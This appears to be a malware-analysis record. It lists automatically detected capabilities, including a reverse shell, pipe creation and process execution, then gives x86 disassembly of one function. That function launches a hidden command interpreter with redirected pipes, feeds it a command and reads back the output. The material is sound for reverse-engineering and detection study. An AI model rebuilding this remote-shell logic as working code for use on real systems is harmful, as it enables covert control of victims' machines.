Function at 0x4068c0
Capabilities:
Check os version
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x698
push ebx
push ebp
push esi
push edi
mov edi, eax
lea eax, [esp + 0x54]
push eax
mov eax, dword [0x41b280]
push 0x17
call fcn.00402950
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x30], eax
je 0x406c21
push 0x104
lea ecx, [esp + 0xa4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x406c21
push 0x44
or ebx, 0xffffffff
lea edx, [esp + 0x5c]
push ebp
push edx
mov dword [esp + 0x54], 0xc
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401100
add esp, 0xc
push 0x10
lea eax, [esp + 0x38]
push ebp
push eax
call fcn.00401100
mov eax, dword [0x41b2a4]
add esp, 0xc
cmp eax, ebp
jne 0x406962
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x41b2a4], eax
cmp al, 6
jae 0x4069e6
push edi
call fcn.004065d0
add esp, 4
mov eax, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x406975
mov edi, edi
sub eax, 1
cmp eax, edi
je 0x40698e
cmp byte [eax], 0xa
jne 0x406980
jmp 0x406993
cmp byte [eax], 0xa
jne 0x4069dd
sub eax, 1
cmp eax, edi
je 0x4069a1
cmp byte [eax], 0xa
jne 0x406993
jmp 0x4069a6
cmp byte [eax], 0xa
jne 0x4069dd
mov ecx, eax
sub eax, 1
cmp eax, edi
je 0x4069b6
cmp byte [eax], 0xa
jne 0x4069a8
jmp 0x4069bb
cmp byte [eax], 0xa
jne 0x4069dd
cmp ecx, ebp
je 0x4069dd
lea esi, [ecx + 1]
mov ecx, esi
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x4069c4
sub ecx, esi
push ecx
add eax, 1
push esi
push eax
call fcn.00401140
add esp, 0xc
push edi
call fcn.004065d0
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
call esi
test eax, eax
je 0x406bc6
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
je 0x406bc6
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push ebp
push 1
push eax
call esi
test eax, eax
je 0x406bc6
mov ecx, dword [esp + 0x14]
push ebp
push 1
push ecx
call esi
test eax, eax
je 0x406bc6
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x5c]
push ecx
push ebp
push ebp
push ebp
push 1
push ebp
push ebp
mov dword [esp + 0xb0], edx
push ebp
lea edx, [esp + 0xc4]
push edx
mov word [esp + 0xb0], bp
mov dword [esp + 0x80], 0x44
mov dword [esp + 0xac], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406bc6
mov ecx, dword [esp + 0x6ac]
mov edx, dword [esp + 0x18]
push ebp
lea eax, [esp + 0x48]
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0xa0]
push eax
push ecx
push edx
call fcn.004065d0
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [esp + 0x2c], 0x400
xor esi, esi
mov eax, dword [esp + 0x34]
push 0x14
push eax
call edi
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x406b95
cmp eax, 0x80
je 0x406b95
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push edx
call ebp
test eax, eax
je 0x406b6d
mov eax, dword [esp + 0x28]
test eax, eax
je 0x406b7c
cmp eax, 0x400
jb 0x406b4e
mov eax, 0x400
push 0
lea ecx, [esp + 0x30]
push ecx
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2b4]
push edx
push eax
call ebx
test eax, eax
je 0x406b95
xor esi, esi
jmp 0x406b7c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004065d0
add esp, 4
add esi, 0x14
cmp dword [esp + 0x1c], 0x102
jne 0x406b95
cmp esi, 0x493e0
jb 0x406b05
call fcn.004065d0
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x1c], 0x103
jne 0x406bc1
mov eax, dword [esp + 0x34]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ebp, ebp
or ebx, 0xffffffff
mov eax, dword [esp + 0x38]
cmp eax, ebp
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x406bd7
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, ebp
je 0x406be2
push eax
call esi
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x406bed
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x406bf8
push eax
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x406c03
push eax
call esi
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x406c0e
push eax
call esi
mov ecx, dword [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x698
ret